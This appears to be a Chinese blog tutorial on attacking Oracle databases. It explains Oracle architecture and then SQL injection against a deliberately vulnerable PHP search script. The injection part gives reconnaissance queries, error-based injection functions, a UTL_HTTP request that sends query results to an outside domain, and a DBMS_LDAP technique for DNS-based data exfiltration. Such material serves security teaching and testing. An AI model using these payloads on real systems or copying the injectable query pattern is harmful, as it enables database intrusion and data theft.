Hacking Oracle 10g/11g:从删库到跑路 - 基础篇
0x0 前言
在开始接触 Oracle 之前,对 Oracle 数据库、实例、SID 都是非常模糊的认识,经常混淆,毕竟也是面向企业级的数据库。所以打算在记录攻击方法之前,先整理一下 Oracle 的体系结构,以便更轻松地理解后续的内容。
0x1 Oracle 数据库基本概念
Oracle 中有三个重要的基本概念:数据库实例、数据库、SID。
- 数据库实例 和 SID
Oracle 的数据库实例(Instance)其实是后台进程和 SGA 的总称。后台进程负责接受和处理客户端传来的数据,如 Windows 下由 oracle.exe 进程负责分发和处理请求。
SGA 全称为 System Global Area,即系统全局区域。实际上是内存中的一片共享区域,其中包含实例配置、数据缓存、操作日志等信息,由后台进程进行共享。
通常数据库实例会用一个唯一标识来标识,这个标识符便称为 SID(System Identifier)。
- 数据库
数据库一般代指物理存储的文件,Oracle 数据库除了基本的数据文件,还有控制文件和 Redo 日志。数据库一般位于 $ORACLE_HOME/oradata/SID,SID 对应创建数据库时指定的实例 SID,数据文件以 *.dbf 的形式存放。
- 关系
首先,数据库实例和数据库并不是必须相互依赖而存在的。当实例启动时,可以不关联任何数据库。数据库可以存在于磁盘,不附加到任何实例,当然这样无法与用户进行交互。
一般而言,数据库附加到实例中,与其进行关联,是一对一的关系。但是在集群环境下,一个数据库可以对应多个实例,这些实例分布在不同的服务器上。但反过来,一个实例只能对应一个数据库。
0x2 Oracle 数据库结构
- 表空间,Tablespace
相对于其他数据库,Oracle 中有一个比较特殊的概念:表空间(Tablespace)。数据文件便是由多个表空间组成,这些数据文件和相关文件形成一个完整的数据库:
如上图,当数据库创建时,Oracle 会默认创建五个表空间:SYSTEM、SYSAUX、USERS、UNDOTBS、TEMP。
SYSTEM,不言而喻这个用于是存储系统表和管理配置等基本信息,而 SYSAUX 作用类似于 SYSTEM,主要存放一些系统附加信息,以便减轻 SYSTEM 的空间负担。
UNDOTBS 用于事务回退等,TEMP 则作为缓存空间减少内存负担。
USERS 就是存储我们定义的表和数据。
- Schema
这个词翻译起来为纲要、架构,但还是保持原词状态会比较好一点。Oracle 数据库支持多用户,用户想在同个数据库中创建相同名称的表或其他歧义数据,该怎么办?
Oracle 中使用 Schema 的概念将每个用户的数据进行分离,Schema 其实类似于命名空间(Namespace),默认情况下,Schema 的名称同用户名称相同:
0x3 Oracle 用户和权限管理
权限和角色
Oracle 中划分了许多用户权限,权限的集合称为角色。例如 CONNECT 角色具有连接到数据库权限,RESOURCE 能进行基本的 CURD 操作,DBA 则集合了所有的用户权限。
用户
创建数据库时,会默认启用 sys、system 等用户。
sys 相当于 Linux 下的 root 用户,system 与其类似,但是相对于 sys 用户,无法修改一些关键的系统数据,这些数据维持着数据库的正常运行。
两者都具有 DBA 角色。
Oracle 中还有一个特殊用户:public。public 实际上代指所有用户(everyone),对其操作会应用到所有用户上。
0x4 Oracle 数据库注入
通常 Oracle 的利用思路为:通过数据库存在的漏洞提升当前用户权限,创建相关函数或过程,最终执行系统命令。
首先上一个 PHP 脚本:
<?php
function query($name) {
$conn = oci_connect('scott', 'tiger', 'localhost/Repo');
if (! $conn) {
die('Cannot connect to the database: '. oci_error());
}
$stat = oci_parse($conn, "SELECT id,name,age FROM users WHERE name LIKE '%". $name ."%'");
oci_execute($stat);
if ($stat) {
echo '<table>';
echo '<tr><th>ID</th><th>Name</th><th>Age</th></tr>';
while (($row = oci_fetch_array($stat, OCI_BOTH)) != false) {
echo '<tr>';
echo '<td>'. $row['ID'] .'</td>';
echo '<td>'. htmlspecialchars($row['NAME']) .'</td>';
echo '<td>'. $row['AGE'] .'</td>';
echo '</tr>';
}
echo '</table>';
}
oci_free_statement($stat);
oci_close($conn);
}
if (isset($_POST['name']) && !empty($_POST['name'])) {
query($_POST['name']);
}
?>
<form method="POST">
<input type="text" name="name" length="15"><input type="submit" value="Search">
</form>
内容比较简单,提交的字段直接带入到查询语句中,产生注入。界面比较龊,将就着用吧:
- 信息探测
首先获取数据库的版本信息:
select banner FROM v$version where rownum = 1
v$version 是系统视图,包含数据库和附属工具的版本信息。rownum 的作用类似于 limit,也可以忽略。
查看当前用户:
select user from dual
select SYS_CONTENXT('userenv', 'session_user') from dual
这里的 dual 并非存放用户的表,而是一个固定的虚拟表。Oracle 中 SELECT 语句必须包含 FROM 关键词,以构成一个完整的查询语句。
列数据库:
select distinct owner from all_tables
其实说数据库有点不严谨,由于每个用户都是分离的,这里相当于列出所有用户的 Schema 名。
列数据表:
select table_name from all_tables
用户权限:
select role from session_roles
select privilege from session_privs
select SYS_CONTEXT('userenv', 'isdba') from dual
系统信息:
select SYS_CONTEXT('userenv', 'server_host') from dual
select SYS_CONTEXT('userenv', 'db_name') from dual
select SYS_CONTEXT('userenv', 'instance_name') from dual
select SYS_CONTEXT('userenv', 'current_schema') from dual
以上通过参数名就可以知其义了,这里多次使用了 SYS_CONTEXT 函数。系统启动时,在 userenv 中存储了一些系统上下文信息,通过 SYS_CONTEXT 函数,我们可以取回相应的参数值。
更多可用参数说明可以查阅 Oracle 提供的文档:SYS_CONTEXT
- Oracle 报错注入
CTXSYS.drithsx.sn(1, (query))
CTXSYS.CTX_REPORT.TOKEN_TYPE('', (query))
UTL_INADDR.get_host_name(query)
UTL_INADDR.get_host_address(query)
get_host_name 和 get_host_address 用于解析域名和地址,使用方法相同:
CTXSYS.drithsx.sn 和 CTXSYS.CTX_REPORT.TOKEN_TYPE 是 Oracle 中自带的函数,用于处理文本,当传入参数类型错误时,会返回异常:
- 带外传输注入
Oracle 中内置了发送 HTTP 请求的函数:
UTL_HTTP.Request(query)
发送请求:
select UTL_HTTP.Request('https://latec0mer.com/'||(select user from dual)) from dual
Oracle 中使用 || 连接字符串。
服务器接收:
Oracle 11g 中增加了网络 ACL,所以 get_host_name、get_host_address 和 UTL_HTTP.Request 在没有权限的情况下无法调用,但是在 Oracle 10g/11g 中还有一个 public 可以调用的函数,利用该函数可以将数据通过 DNS 解析的方式传输到服务器:
SYS.DBMS_LDAP.init(query, 80)
构造请求:
服务器上监听 UDP 53 端口:
比较鸡肋的是域名长度的限制,通常一个子域标签最长为 63 个字节,整个域名总长限制为 255 字节。当超过这个长度时,系统的 DNS 客户端会拒绝解析域名。